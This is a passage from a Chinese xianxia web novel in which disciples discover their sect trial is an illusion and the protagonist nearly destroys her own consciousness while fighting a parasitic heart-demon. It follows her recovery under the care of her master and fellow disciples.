她擦了擦鬓角的汗,对灾民的喝彩实在受之有愧,于是只好冲着众人作了个揖:“学艺不精,让大家看笑话了。” 客套话说这么一句就够了,因为还有许多东西等着搬运, 关云铮同人们点点头,寻了个缺口走到别处去,继续帮着搬东西了。 谭一筠正专心操纵,子不语悬浮在他一边,扇面在风里哗哗作响,察觉到关云铮来,还调转了个面,像是同她问好。 关云铮被这法器逗笑了,心想不愧是她师父做的法器,虽然器灵是后天长的,但这模样莫名能看出些她师父的影子似的。 “你那个卸力的阵法,怎么成型得那么快?我记得昨日传送阵法费了好些时间。”关云铮问道。 谭一筠没立刻回答,正全神贯注地把东西放下,做完这一串动作后才同她解释道:“更改了时间或是空间的阵法,自然要复杂一些。” 至于卸力,对比传动阵法只是个寻常小阵法,在战斗中经常用到,只是来到江县后没发生过打斗,他也就一直没能想起来。 “倒也是,传送确实更改了空间。”关云铮若有所思地点点头,把东西从远处移来放下后忽然想起些什么,又追问道,“那结界呢?也是更改了空间?” 谭一筠点了点头,又意识到关云铮现在同他背对着看不到,于是应了声:“结界和传送阵法都只是更改了空间,幻境则是既扭曲了时间,也更改了空间。” 关云铮原本正用御物术操控着物件,闻言一愣,物件顿时脱离控制,马上就要朝地上摔个粉身碎骨。 不知何时赶来的楚悯此时伸出手托了一把,因为术法运用得相对更娴熟,尚且能分出一些心神看向关云铮:“怎么了云崽?” “幻境……”关云铮像是没听见她的声音,口中喃喃着。 楚悯把东西稳当放下,一时不明所以,不由看向一边的谭一筠:“幻境?” 没想到谭一筠脸上也是同样的呆愣,他后知后觉地意识到自己方才说出口的是什么,一脸茫然地在原地站了一会儿,忽然猛地看向楚悯:“是幻境!” 关云铮的话几乎与他同时:“原来是幻境。” 叶泯在远处看这边两人半天没动静,兴高采烈地跑过来就听见这么两句,又从他们的神情中看出了一点不对劲,欢快的脚步顿时停在了原地:“幻境?什么幻境?” **** 为什么江县会出现鹧鸪山才有的草药;为什么谭一筠搭建的结界可以被叶泯触碰;为什么记忆总像是被人动了手脚…… 因为这里是幻境。 四人强打精神,专注把该做的事情做完,聚在一起,四张脸上是如出一辙的恍然大悟。 原来如此。 “那我们现在怎么办?幻境不是勘破后就无法延续了吗?此处怎么好像……还是之前的模样?”关云铮茫然道。 “或许是掌门给我们设下的难题……尚未得到解决?”楚悯尝试着解释现状。 但如果掌门设下的难题是彻底改变江县此时所处的困境,那他们岂非“醒悟”得太早了?江县如今可是百废待兴,没个十天半个月恐怕都看不到成果。 叶泯也一头雾水:“不应该是勘破后便会即刻破灭吗?原来还有个过程?” “既然幻境还没破灭,那我们还是先履行职责吧,答应陆大人要做的事还没做完呢。”谭一筠说道。 也对。 反正现在还不会出去,说明考核也没彻底结束,该做的事还得做。 但不知道是因为什么,知晓此处实际是幻境之后,关云铮的心态就变得有些微妙。有种……行的善和缺的德都暴||露在别人眼皮子底下的感觉,说不出来的别扭。 虽然她也不知道他们在幻境中的所作所为会不会每时每刻都在掌门的注视之下,但一想到此事有发生的可能,她就忍不住审视自己在幻境中都说过、做过些什么,顿时有些手足无措起来。 她刚才是不是还说自己想当邪修来着?哎呀真是的,怎么不小心把实话也说出来了。但是这件事她可以解释,她想当的只是走捷径的邪修,不是要人命的邪修,掌门千万不要把她抓起来啊…… 不回想还好,一回想她才发现自己在幻境中的多数时候都在大放厥词,不由得愁上眉头,叹了口气。 楚悯侧过脸看她:“怎么了?” 关云铮摇了摇头,表示此事无足轻重。这一摇头活像是把她脑子里的水控出去一部分似的,她陡然想起比自己的言行举止更为重要的事来。 此处是江县。 大火是真的,受灾是真的,那贪赃的县令是不是真的?心怀不轨的乱党是不是真的? 江县的水深火热,陆识微的挣扎求生……又是不是真的同幻境展现的一样,亦或是……比幻境表现出的,严重得多? 在群体的苦难面前,她那点闲愁顿时像是雨后的积水,被太阳和大风蒸发席卷干净了,只留下一点不太体面的水腥味。 “所以江县是真实存在的地方,还是步掌门搭建出来的?”叶泯在一旁问道。 “确有此地。”关云铮答道,“也不知道师父他们从江县回来没有。” 谭一筠边走边说:“我听师父说过,章先生尤擅制造幻境,本以为这次的也是他的手笔,结果我们考核前他竟仍未回来,想必不是了。” 叶泯倒不这么认为:“我看未必,章先生神龙见首不见尾,没准早就回来了,只是没露面。” 两人没能达成共识,一同看向关云铮,想从她处寻求答案。 结果刚看过去就见关云铮神思不属,险些一脚踩进泥坑里,连忙大呼小叫着拉了她一把。 楚悯连忙拉住她:“在想什么?” 关云铮被同伴一番拉拽,这才回过神,恍惚了一瞬才说:“唔,没什么,叶泯说得对,师父兴许早就回来了,只是没露面。” 她这话完全是复述,楚悯总觉得哪里不对,微微皱了皱眉。 四人一边猜想一边往回走,正碰上审完人的陆识微回来,同他们兴高采烈地打招呼。 等等。 兴高采烈?? 四人一脸茫然地看向这个与先前几乎截然不同的“陆识微”,一时有些搞不清楚,究竟是先前那个是幻境造物,还是此刻这个是幻境造物,都站在原地惊疑不定地没出声。 陆识微却没觉得他们有什么不对之处,继续朝他们大步走来,随即——径直穿过了四人。 **** 幻境内外的时间流速不同,在外面的人可以通过一面特殊的水镜观察幻境内部,此时水镜中的时间流速与幻境相同,本质上都是对时间的扭曲加速。 闻越在水镜前看了好一会儿,忍不住转身看向身后的章存舒:“师父,云崽和小悯他们都知道这是幻境了,怎么还不出来?” 章存舒伸手摸了一把他的脑袋:“快了,你没看见,他们在幻境中都没有实体了。” 闻越没参与过集中教习,自然也没接触过幻境考核,今日观摩的这一次是他对幻境的初次认知,故而章存舒说什么他便信什么,似懂非懂地点了点头,又说:“我看云崽好像有些不对劲。” 江却也坐在一边观察,闻言沉声道:“是有一些……神思不属。” 他俩刚想回头问问章存舒的看法,却发现章存舒不知何时已经走到幻境入口去了,同早就站在那里的连映说道:“云崽应当快……” 连映回过头来,正要开口,却见章存舒脸色突兀地一变。 能让章存舒变了脸色的事情不多,连映见他这模样,心口无端跳了起来,不安的感觉瞬间涌上心头:“师父?” 章存舒面色十分不好看,语速飞快:“云崽要突破了。” 连映一愣:“这个时候?” 章存舒盯着幻境的入口,半晌没答话,再开口时声音更低了一些:“她可以在幻境内外突破,但绝不能在此时——幻境行将崩塌时突破,此时时间与空间皆是扭曲状态,若是突破,她的身体承受不住。” 他话才说了一半,连映的脸色便已不好看起来,她忽而又想起什么,压低声音道:“那心魔引此时……” 章存舒加诸于心魔引之上的封印,是与关云铮当下的境界相匹配的,关云铮未及筑基之前,封印加得太重,同样会损伤她的识海。 原本章存舒打算每过一段时间便加固一次封印,以便与关云铮的修炼进程相吻合,谁料关云铮此时人还在幻境内,就要突破了! 谁知道那个可借助她力量发展己身的心魔引此时是什么水平! 最清楚心魔引究竟是个什么东西的章存舒没接话。 几息之后,只见幻境入口那种搅动的感觉忽的停了,楚悯、谭一筠和叶泯三人陆续从里面跌跌撞撞地走了出来,唯独不见关云铮。 楚悯一抬头正见到脸色同样难看的章存舒和连映,还没回过神来是为什么,便已觉出不妙,回过头看了一眼。 “云崽呢?”她听见自己惶然地问道。 谭一筠和叶泯互相搀扶着才站稳,顿时一同回过头去,发觉那幻境入口在众人注视下变换一番,最后竟诡异地越来越小了! 幻境的知识几人都只学了个皮毛,谭一筠虽参与过幻境考核,但对于幻境此番变换也是一知半解,霎时间刚出幻境便惊慌失措起来:“云铮还没出来,这幻境究竟怎么回事?” 章存舒轻巧地拨开三人,没忘了在楚悯肩上拍了拍以作安抚。他站到几人之前,沉着脸盯着幻境入口,手中不知在运作什么术法,动作快得人眼花缭乱。 幻境中几人度过了将近一天半的时间,外界却只过去几个时辰的样子,日头尚未爬到最高处,显然还是上午,看来叶泯的推测是对的,章存舒确实早就回来了,只是碰巧没能遇见。 不过此事现在也变得没那么重要了,因为那幻境入口越缩越小,隐隐有彻底消失的架势。 虽然他们在幻境中没有痛觉,但毕竟是以身入幻境,若是此处的入口没了,身躯会落得什么下场,又会去往何处? 这不断扭曲的时间与空间,又会否将仍处于其中的云铮撕成碎片? 谭一筠越想越恐慌,但看见章存舒的脸色又不敢多言,只好惴惴不安地在一旁站着。 原本还在水镜边观察的江却和闻越看不到幻境内的画面了,又看出不远处几人神态和动作都不太对劲,连忙从后面快步走来。 “怎么只有你们三个?云崽呢?”闻越一见楚悯三人便皱起眉问道。 楚悯心急如焚,说不出话来,只仓皇地摇了摇头。 闻越的心兀地沉了下去。 还没等他喘上第二口气,只见那不断缩小的幻境入口忽然停滞了,随即像是有两股力量在其中角力一般,忽大忽小地在众人面前闪烁起来。 所有人都下意识放轻了呼吸。 下一瞬,关云铮像是被谁猛地推了一把,一脚跨出了幻境入口! 这一瞬间,关云铮听见了无数熟悉的呼喊声。 “云崽!”这是师兄师姐和小悯。 “云铮!”这是叶泯和谭一筠。 “大家都在啊。”她踉跄了一步,被章存舒一把托住了手肘,强硬地扶住了。 关云铮抬起头看了他一眼,对着她师父笑了笑:“师父你果然回来了。” 章存舒正要开口,只见方才还好好的关云铮忽然剧烈地一颤,随即像是在忍受莫大的痛苦般弯起腰,不受控制地呕出了一口血,瞬间失去了意识。 “云崽!” “云铮!” **** 她像是做了个漫长的噩梦。 梦里她一会儿是自己,一会儿是不知是谁的某个人,不同的爱恨情仇像是拔河比赛中麻绳的两端,而她是那条身不由己的麻绳,被左右两边拖来拽去,许多次甚至想大吼一声“你们别打了”,但发不出声音。 幻境不是解除了吗……她现在又是在哪里…… 有个声音从遥远的地方响起,自她耳朵钻入,钻开她的颅骨,密密切切地对她的脑子说着咒语般的话。 是谁……谁在说话? 她很想调动自己的警惕心,却感觉浑身都像被撕裂了一般疼,大脑在这样密集的疼痛攻势之下,失去了对外界其他刺激的反应,像一个摆设一样,蜷缩在她的脑袋里。 我要你这个脑子有什么用……她迟钝地想。 “交出你的躯体……我会更好地使用它……”那个声音无孔不入地说着。 她感觉自己痛得快死了,听见这话面无表情地说道:“神经病,滚。” 原以为自己发不出声音,却听见一个陌生又熟悉的声音冷漠地说出了这句话。 这是谁的声音? 那个脑子里的声音低笑起来:“这是你自己的声音啊,你这都想不起来了……” 她自己? 胡说,她的声音分明不是这样的。 “你来到此处不过这么些时间,竟当真把自己当做此处的人了?那她怎么办?” 她? 她又是谁? “她是被你夺走了躯体,还被未婚夫害死的可怜人啊……” 她的大脑顿时刺痛起来,拔河不都拔的绳子吗,什么时候可以拔脑子了? 她恍惚地想着:我好像知道她是谁了。 她是关云筝。 那她又是谁?她的意思是,她自己又是谁? “可真是无私……我还以为,你会把她忘了呢。” 说话的声音听起来相当不怀好意,她“听见阴阳怪气就要阴阳回去”的技能在大学期间就点满了,闻言忍不住说道:“少在我这装神弄鬼,我不记得她,难道记得你吗?” 死亡不是最可怕的事,被遗忘才是。关云筝那么善良,哪怕她真的哪天背信弃义忘了,也一定会有别人记得,连翘会记得,甚至她那个自私自利的母亲也会记得。 为什么会忽然用上“背信弃义”这个词? 声音一被发出,躯体的痛苦似乎也被衰减,她的神智逐渐清明起来,意识到自己方才想通了些什么,一面忍受着那足以把自己撕裂无数次的痛苦,一面说道:“我想起来了,怎么,你们心魔引以前挑中的人都是些自私自利的人,没见过我这样的?” 难怪教育中总提倡孩子多张嘴说话,一说话思维确实清晰多了。 只是心魔引丝毫没有被她激怒的迹象,不知是这些日子沉寂许久,忍耐得到了提升,还是当真不在意:“还在嘴硬,看来这点痛苦对你来说微乎其微?” 它话音刚落,她,不,关云铮的眉心陡然刺痛起来,像是有人用烧红的针扎了进去,还翻搅了一番,皮||肉都快沸腾了。 关云铮喘了口气,身体的疼痛很陌生,之前未曾经历过,但心魔引带来的这点疼痛对她来说已经是“老朋友”了,她不仅没服软,还继续说道:“在你身上施加的封印松动了,看来是我的境界突破,你借助我的力量挣脱了。” 心魔引的语气变得奇怪起来:“你倒是聪明。” 关云铮笑了一声,不知扯到了哪处,身体忽然传来钻心的抽痛,冷汗当即就从额角滑落下来:“我没把你从识海中剔除,只是封印,任由你借助我的力量壮大到如今,你不感谢我,反倒总在这些时候趁虚而入,想把我折腾至死……看来你是真不怕死啊?” 心魔引一愣:“你什么意思?” 汗珠滑过脸颊的触感明显,关云铮顾不上去抹,继续说道:“你在我的识海里,那我想摆脱你,应当只需要毁了识海就行了?” “你要毁了自己的识海?你疯了?修炼之人识海有多重要你难道不清楚?毁了识海你会变成废人!” 关云铮神色漠然地抬起手:“我受够这种日子了,识海里有你这种东西,做梦都觉得恶心。”就算识海尽毁,傻了残了,亦或瘫了死了,也好过让这个隐患借助她的力量不断成长到无法对付的程度。 长歪了的苗,必须趁早拔除。 **** 关云铮那口血把所有人都吓得不轻,步雁山从远处走来时见到这一幕,原本四平八稳的步子立刻变了,几乎是狼狈地奔了过来:“云崽怎么了?!” 章存舒把人抱了起来,往苍生道院走:“在幻境崩塌的时候突破了,应当还受了心魔引的影响。” 步雁山皱起眉:“怎么偏偏在此时突破了?” 章存舒大步往前走顾不上回答,跟在他身后的连映代为接过话茬:“掌门,若是在此时突破,身体会受到何种影响?” 所有人一窝蜂地跟上章存舒的步伐,步雁山走在其中,同连映说道:“境界的突破就像是短时间内将人拔高,你应当清楚那时身体是何感受。若是突破正好赶上个……诸如幻境崩塌这样的时间,由于时间与空间皆是扭曲,上一瞬经受过的痛苦很可能在下一瞬又卷土重来,将人反复折磨。” 关云铮初入师门,是人群中修为最低的,其他人都或早或晚地经历过境界突破,此刻听了步雁山的话全都不约而同地安静下来。 若是寻常突破,哪怕没有迹象忽然得成,也需尽快调息以求适应,关云铮此时不仅无法调息,看伤势可能连喘息都不成了! 闻越下山几天,回来没能见到活蹦乱跳的小师妹,还看着人在自己眼前吐血,眼圈都被逼红了,好半晌都说不出话来,开口时嗓子已全然哑了:“掌门,云崽她的伤……” 步雁山正要接话,走在最前面的章存舒踹开房门将关云铮放下,向她体内输入了一些灵力之后退出房间,在众人或惊或忧的目光注视下开口道:“她想和心魔引同归于尽。” “什么!”众人骤然听见这话全都惊呆了,楚悯几乎有些找不到自己的声音:“同归于尽?” 谭一筠和叶泯尚且不知关云铮与心魔引共生便听闻此事,一时之间惊得说不出话来。 章存舒看向步雁山:“请师兄来一趟,灵根的损耗我能修补,还有些经脉断了,需要他的丹药。”步雁山应声即走,章存舒又看向楚悯,“小悯,你和小映一起陪着。阿却,你负责随时为云崽提供修补所需的灵力。” 他面色沉沉,但还没忘了安抚其余几个弟子,走下台阶时拍了拍闻越的肩:“识海受损,但没有彻底毁坏,不会有事。” 闻越被他这一拍险些拍出眼泪:“我知道了,师父。” 章存舒最后看向谭一筠和叶泯:“出幻境前云崽可有何异常?有没有什么是看不出也说不上来的异常?” 叶泯方才几乎被吓傻了,被章存舒堪称急言令色地这么一问,陡然回过神:“意识到所在是幻境后,云铮一直有些神思不属,章先生,这与她的伤势有关吗?” 章存舒知道自己脸色太吓人,叹了口气,缓和了面色:“她做出同归于尽这一决定太突然,我没能察觉到征兆,否则兴许能阻止得更快一些。” 谭一筠皱眉:“您能察觉云铮在幻境中的状态?” 章存舒正打算回答,几句话的工夫,步雁山已经带着凌风起回来了,多年龃龉,哪怕在同一门派也刻意互不相见,此刻忽然因为弟子性命垂危再度联手,没人知道章存舒和凌风起的心里在想些什么。 谭一筠只知道自己暂时是得不到想要的回答了,只能看着章存舒与自己的师兄弟一起,为弟子的安危忙碌起来。 这一忙就忙到了夜色深黑。 关云铮睡了一场对于身体来说惊天动地摧枯拉朽的觉,大脑刚有清醒的迹象,还没来得及睁眼,就听见另一个讨厌的声音在脑海中响起:“哎哟,可算醒了。”—— 作者有话说:放心,云崽没事[可怜] 第109章 听见这声音, 原本打算睁开眼的关云铮瞬间改变了主意,此刻不仅想装睡,还想装死。 只是那个声音的主人一贯欠揍, 此时自然也不打算陪她演戏, 直接拆穿道:“还睡?你师父师兄师姐同伴全都要急死了,哦, 还有你那个臭脾气师伯, 虽然嘴上不说,但也快急死了。” 关云铮闭着眼,木然在脑海中“答”道:“怎么哪都有你,话怎么那么多。” “你对救命恩人就这个态度?那我可要伤心了。”祂说。 不知出于什么原因,祂说话时的词语使用和口吻,越来越贴近关云铮的习惯了。 “你是人吗你就救命恩人。”关云铮干脆也不琢磨遣词造句了, “所以到底怎么回事,真是你救的我?” 祂倒是很坦诚:“也不全是, 应该算你自己救的。” 关云铮才刚从那种足以把躯体撕裂的痛苦中缓过来,现在浑身上下都是麻的, 没有知觉, 听见这话疲惫地“叹了口气”:“你现在是不是就仗着我不能再毁一次识海,才这么肆无忌惮?” “怎么这么急性子呢,我话还没说完。”祂气定神闲道, “你师父在你手腕上那个法器里, 留了一缕他的神识。” 关云铮一愣,差点直挺挺地从床上坐起来,好在此刻她全身肌肉都调度无能,否则就真成诈尸了:“神识?在撷光里?” “借着那缕神识,他比我更早察觉到你自毁的意图, 不过我和他都没能及时拦下你这个疯子,”祂说,“真正挡下致命一击的,是你乾坤袋里那个法器,叫……将隐?” “将隐?”关云铮惊呆了,“它能挡下这一击?”那轮盘怎么看也不像是防御法器吧? “不太能?所以它碎了。”祂若有所思地说。 “什么?!”关云铮这下是真的想诈尸了,那么个宝贝物件到她手里,都还没捂热呢,就这么碎了?? “它扛下了你最初对识海的损害,我随后赶到,挡了挡剩下的,还顺便遮掩了痕迹,所以最初你师父应当是以为你自毁成功了,被吓得不轻。” 关云铮一时之间不知道“说”什么好。 “别多想,也别觉得愧疚,你师父不是独独对你格外好,他对每个徒弟都很好,只不过如今你是老幺罢了。”祂随口说道。然而话的内容是安慰性质的,语气却听不出太多安慰意味,仿佛祂其实并不在乎此事究竟如何。 “你能稍微停止那么一时半刻,不对我的脑子进行窥探吗?”关云铮都没力气发怒了。 “能啊,那我歇歇。”祂从善如流道,“另外,为免你继续担忧,我就先同你说了。心魔引在你出手自毁的瞬间便灰飞烟灭了,我检查过,没留下一点痕迹,你摆脱它了。” “聊”到这,关云铮终于松了口气,顿时神思都涣散了,险些眼睛一闭,再度陷入黑甜。 祂连忙把她叫住了:“等等,我还有个问题,你先回答了再睡。” 关云铮不堪其扰:“说。” “你那时为何想自毁?”祂用一种近乎天真的口吻问道。 关云铮不是很想回答这个问题:“你不是能窥探我的脑子吗,自己看吧。” “不是你让我别窥探的?”祂的语气听上去仿佛关云铮才是那个难伺候的人,“我那时查探过了,没看出端倪,所以究竟为何?” 关云铮再度“叹了口气”,这一瞬间生出无限的疲惫来:“算了,告诉你吧。”她语气平淡地说,“那时心魔引将我困在它打造的幻境之中,那幻境中有一面像镜子一般的墙,我在上面看到了自己的脸。” “脸?” “我的额角,不,这具身体的额角,长出了一枚以前没有的痣。”兴许是因为在脑海中“说话”的关系,她的“语气”听起来没什么情绪,根本听不出她不久前曾因为这件事想要自毁,“那枚痣,以前长在我的额角。” **** 回答了太多问题,勉强恢复的一点精力又被耗尽,祂走后关云铮再度昏睡过去,第二次醒来时,听见小悯在外面弹奏月下逢。 “清心?”她含混着开口,还没捋顺自己的思绪,摇羽就大呼小叫着飞到了她上方:“你醒了?” 屋外的琴声停了。 关云铮实在坐不起来,只好对着违反约定再度悬停在自己面前的摇羽说:“你给我下来,我怕你砸我脸上。” 摇羽乖乖下来了。 还没等它再度开口,关云铮的房门就被人推开了,随即更加大呼小叫的一帮人涌了进来。 闻越扑到她榻边:“云崽,云崽你疼吗?难受吗?” 关云铮感觉自己的恐人症状久违地发作了,缓了好一会儿才说:“师兄,我没事,但是你压着我头发了。” 闻越手忙脚乱地站起身:“我的错我的错,没压疼你吧?”问完他就颇为懊恼地把嘴闭上了,压到头发怎么可能不疼。 关云铮还是有点感受不到自己的身体,只能勉强提起嘴角朝他笑了笑:“不疼,我现在没什么痛感。” 她这话一出,闻越登时更难受了,默默看了关云铮一眼,走到人群之后去了。 虽然闻越走得很快,但关云铮还是瞥见了他泛红的眼圈,顿时惊呆了,即使还没什么力气,但还是忍不住对连映问道:“师姐,师兄是哭了吗?” 人群后传来闻越惊天动地的哭声。 楚悯苦笑不得地走上前,把关云铮散乱的头发理了理,又给她掖了掖被角:“真的不疼?” 关云铮眨眨眼:“真的不疼。” 连映叹了口气:“不疼是假的,疼的时候都昏过去了。” 那倒是。 关云铮心虚地移开目光,过了会儿感觉到榻边多了个人,又把目光移了回来,看见了章存舒。 她忽然想起祂说的,撷光中有师父一缕神识的话,顿时有些不知说什么好。 原本口舌如簧的人此刻居然也不说话,好半晌才开口道:“没事就好。” 这话令她瞬间觉得自己自毁的举动十分混账,愧疚得都有点无地自容了。 或许是心魔引的影响,或许是她过去轻微的自毁倾向一直延续到了如今,总之在看见额角新长出的那枚痣时,她是真的想自我了断的。 不久前她还在信誓旦旦地对心魔引说什么,她会永远记得关云筝,连翘也会记得,关云筝的母亲也会记得。 可如果“关云筝”变了模样呢? 如果不仅仅是这枚痣,以后这具身体还会有其他地方,越来越像她,而非关云筝呢? 那怎么办? 她又对得起谁? 她那时的想法天真得近乎可笑,觉得识海与她的灵魂相捆绑,就算毁了识海,也没有毁掉原身的躯体,也算对得起原身了。一时之间恶向胆边生,连自己都能动手杀了。 现在上头的情绪冷却下来,在一阵身心的麻木之中,她才后知后觉地意识到,关云筝已经不在了,魂灵变成了碎片,连溯洄这样能留住残魂的镇山灵器里那点痕迹,都快要消散了。 就算她毁掉了属于自己的魂魄,这具身体也不会有新的主人了,而原身关云筝会彻底地身死魂销。 那她在这个世界的存在就是真正的消失了。 还好被阻拦了。 不然哪怕她的灵魂入了此世轮回,关云漪也是不会放过她的吧。 那就真的要被鬼缠一辈子了。 关云铮一想到那个画面就苦笑了一下,看向楚悯问道:“你可曾写信回家?我……”她毫无预兆地咳嗽起来,因为没什么力气,咳了几声就把自己折腾得眼冒金星,但还是坚持着把想说的话说完了,“将隐挡了我自毁的一击,碎了,不知道你父亲有没有受伤,你最好写封信回去问问。” 楚悯一愣:“将隐碎了?你怎么知道?” 关云铮疲惫地眨了一下眼睛:“感觉到的。” 她面色苍白得像是一朵纸扎的花,楚悯不再追问,站起身道:“我这就去写信,你别担心。” 章存舒又叹了口气,最终什么也没说,转身出去忙了。 还没说过话的就只剩下江却谭一筠和叶泯。 江却一直皱着眉头,看起来比平时更凶了,关云铮光是看他一眼就怪心虚的,只能先挑软柿子下手,看向另外两位同伴道:“吓着你们了吧?下次不会了。” 叶泯瞪大了眼睛:“你还想有下次?我魂都被你吓飞了!”意识到自己声音太过响亮,他很快又压低了声音说道,“下次得拉着你出幻境,不能把你落下了。” 谭一筠也深以为然地点点头:“下次我们一起出幻境,以免你在后头又想出些馊主意。” 骂得这么不留情面吗。 关云铮再度心虚,却不敢再移开目光,只好对着两人笑了一下。 最后看向始终沉默不语的江却,想说点什么,张口欲言,欲言又止,最后反而是江却松开一直紧皱的眉头,对她笑了一下:“累了就睡吧,我们在外面守着。” **** 这一睡,不,昏迷,就昏到了第二天夜里。 关云铮再度醒来时终于有了痛觉:不知道什么时候能够调动躯体了,她把左手压在脸下睡了不知几个时辰。 痛痛痛…… 她在榻上痛得直抽气,没想到大晚上屋外竟还有人守着,很快房门被推开来。 关云铮一边龇牙咧嘴一边看了眼。 坏了。是师父。 章存舒看了她一眼,没说话,伸手把她扶坐起来,见她没有别的异常,转身就要出去。 这场景换了不知情的人来看,可能觉得不明所以,还容易想歪,但关云铮很清楚,章存舒这个点了一半话痨属性的人,这两日都不太说话究竟是因为什么。 ——他怕时隔许多年,再次对自己身边人的逝去无能为力。 戚寻月是自愿走向身死的结局,而她昨日也是自愿选择魂消的死法,她俩都快凑一出身死魂销了。 发现她想自毁,看见她吐血,师父的PTSD得犯成什么样,她都不敢想。 “师父。”关云铮出声叫住他,“徒儿错了。” 这还是她穿越以来第一次自称“徒儿”,说出口的时候居然没觉得有多违和,仿佛已经酝酿许久,就等着一个合适的时机了。 原本都快走出门去的章存舒停住了脚步,借着月光,关云铮看见他紧绷的双肩陡然泄了劲,一瞬间垮了下来。 师父这两日一定很累吧。关云铮想道。 章存舒最终还是没有就这样走出去,在门口停顿一会儿后,重新转回身来,移来一张竹椅在榻边坐下:“我知道你不是此世之人。” 关云铮还以为他要开始训话了,没防备听见这么一句,被自己准备好辩解的口水呛得咳嗽起来:“咳咳咳……师父你说什么?” 章存舒却没回应,只自顾自接着说道:“我年轻时玩世不恭,什么都学过一些,你那时初来乍到,‘魂不附体’,我看见了。” 关云铮顿时有种裸||奔被熟人撞见的尴尬感。 “我见你茫然又好奇,就想,既然你来到归墟,想必这是归墟与你之间的缘分,不如就收你做徒弟,让你在此世安稳地待上一阵子。”章存舒继续说道,“只是我没想到你会如此坎坷。” 哈……哈哈,她也没想到来着。 “我在撷光里放了一缕神识,自知并不妥当,是以在你并无危及性命的危险时,它不会被触动。”章存舒又叹了口气,“没想到这才多少天过去,神识竟差点都没能保住你。” 关云铮笑不出来了。 章存舒背对着榻边那盏油灯坐着,半张脸都被笼进灯下的阴影里,神情看不分明,可说话时的语气是很孤独的:“我混沌半生,清醒半生,到头来,恐怕还是会孑然一身,什么都留不住。” 救命。 这怎么安慰?关云铮尚未完全康复的大脑急速运转着,一时之间几乎要闻到CPU的焦糊味。 说“您还有师兄师姐们呢,我也会一直留在归墟”?说“以后绝对不做这种傻事了,请师父放心”? 此情此景之下,仿佛没一句是人话。 章存舒却没打算要她的回答似的,说完这些后抬手帮她掖了掖被子:“饿不饿?” 关云铮诚惶诚恐地点了点头。 章存舒“嗯”了声:“我去找李厨给你做些吃的。”说完便起身走了。 **** 章存舒很快端着碗热气腾腾的面回来,只不过这次他没进门,而是让不知何时来到门外的连映端着面进来。 这大半夜的,整个师门接近半数的人竟都醒着,想也知道是为了谁,真是惭愧。而看连映的架势,估计还打算喂她吃这碗面。 关云铮还没四体不勤到这种地步,顿时在连映面前表现了一番自己的双手十指有多么灵活,拿起筷子卷起面送到嘴边对她来说简直轻而易举。 可惜连映奉了师命前来,把她的动作视作过眼云烟,只对她安抚地笑了笑,便不由分说地把吹凉了的第一口面递到了她的嘴边。 行吧。 虽然受之有愧但无力反抗,只能先受着了。 几口面下去,摄入了碳水,关云铮感觉自己稍微有点力气了,摆摆手示意暂时不想吃了,看连映把碗放下,问道:“师姐,师父是不是气坏了?” 章存舒送完面就离开了,从她屋里往外看反正是看不到他人影,就当是他不在吧。 连映拿出手帕给她擦了擦嘴,又给她把散乱的头发理了理,做完这一串动作后才笑眯眯地说:“师父没生气,就是有些伤心。” 那还不如生气呢! 关云铮绝望了,正想说点什么,就听连映继续用十分温柔的语气说道:“你觉得自己才来师门不久,师父不会对你这般上心,对不对?” “我……”关云铮很想反驳,但她说不出口。 扪心自问,她并不是多没良心的人,她知道师门每个人都对她很好,她也始终愿意用一颗真心回报他们。 但兴许是她的不配得感太强了,直到那个声音告诉她,师父往撷光里放了一缕神识以保护她之前,她都觉得自己归根结底是外来人,是不被这个世界真正接纳的。 好吧,这样一想她还是有点没良心。 连映那双常常带着笑意的眼睛注视着她:“你觉得没有毫无缘由的善意,觉得师门对你好,自己受之有愧,是不是?” 是。 她觉得在自己尚未展现出本性之前,师门便率先对她释放了善意,她对这些善意受之有愧。 关云铮缓慢地眨了眨眼,看见连映伸手,感觉到她在自己眼尾抹了一下,才意识到自己掉眼泪了。 连映笑着给她擦了擦眼泪:“怎么哭了?我很凶吗?” 关云铮摇摇头。 连映收回手之前又捏了一把她的脸颊:“这么点大,怎么这么多心事?在你心里,自己不是个值得善待的人吗?” 关云铮哑口无言。 连映坐在她身侧,把她搂近了些,同她两肩相抵:“师父这些年遇到的人很多,看人很准,你是不是个值得他人用心对待的人,他当然心中有数。”还没等关云铮对这些话做出反应,她又从近处侧过脸来看着她,“但师父的看法也并不重要。” “重要的是你怎么看待自己,我们当然会尽我们所能关照你、爱护你,但你先得这样对待自己。”眼看关云铮又要掉眼泪,连映失笑,“怎么又哭了?不怕明早眼睛肿起来?” 关云铮抬手抹了把眼泪:“师姐说得对,不哭了。” **** 守着关云铮的这群人应当是轮班制,第二天早上她醒来时,守着的人就换成了闻越。 闻越这个起床困难户,大早上的居然能精神抖擞地出现在自己面前,关云铮颇为惊讶道:“师兄不困?” 被她调侃的人把小米粥和配菜放下,幽幽道:“天还没亮就被噩梦吓醒了,你说我困不困。” ……瞧她这破嘴。 “本来小悯听说你昨晚醒了,也要来看你,但我看她累得不行,直接把她放倒了,师姐带她回去休息了。” 闻越云淡风轻地说出这句话,把关云铮惊得一愣:“放倒……了?” “用了点凌师伯给的丹药,无害,也就让她睡得久一些。”闻越说到这想起些什么似的,像模像样地同关云铮模仿道,“你都不知道凌师伯给丹药的时候是怎么说的,‘我看你们这群苍生道快活成畜生道了,一天到晚不是伤这就是伤那,一人受伤还全师门不舍昼夜地陪着,怎么,要殉情?谁家殉情殉这么多人?死前图个热闹?’” 关云铮一口粥险些全喷出去。 凌师伯真是……攻击性好强的一张嘴。 “其实我也睡不着,噩梦做了一箩筐,总梦见你醒不过来了。”闻越坐在榻边的椅子上长叹一声。 这碗粥是彻底喝不下去了。 关云铮放下勺子,正要认错,就听闻越说道:“不过云崽你已经醒了,想必我很快就不会做噩梦了,无需担忧。” 闻越笑嘻嘻的,像是全然没受到影响一样开朗,关云铮心中五味杂陈地看了他一会儿,想说话时又一次被截住了话茬。 “还有一件事。”闻越忽然正襟危坐了一些,“此次去江县,机缘巧合之下我得到了一个物件。” 关云铮终于有插话的机会了,连忙问道:“物件?什么样的物件?” “我问了师父,他竟说他也不知,不过依稀能看出,是个武器。”闻越说道。 武器就武器,依稀能看出是什么鬼? 关云铮一头雾水地问:“说得我怪好奇的,给我看看?” 闻越在乾坤袋里摸索一阵,掏出了……一团光? “这是……无形之物?无形之物不是不能放入乾坤袋吗?”关云铮凑近看了会儿,抬头问道。 闻越把那团光往她这边递了递:“你戳它一下,它有形状。” 关云铮于是顺着他的话伸出食指戳了一下。 ……很难形容这一瞬间食指感受到的触感。 有点凉凉的,好像把手放进了湿哒哒的水雾里,触感是……软弹的? 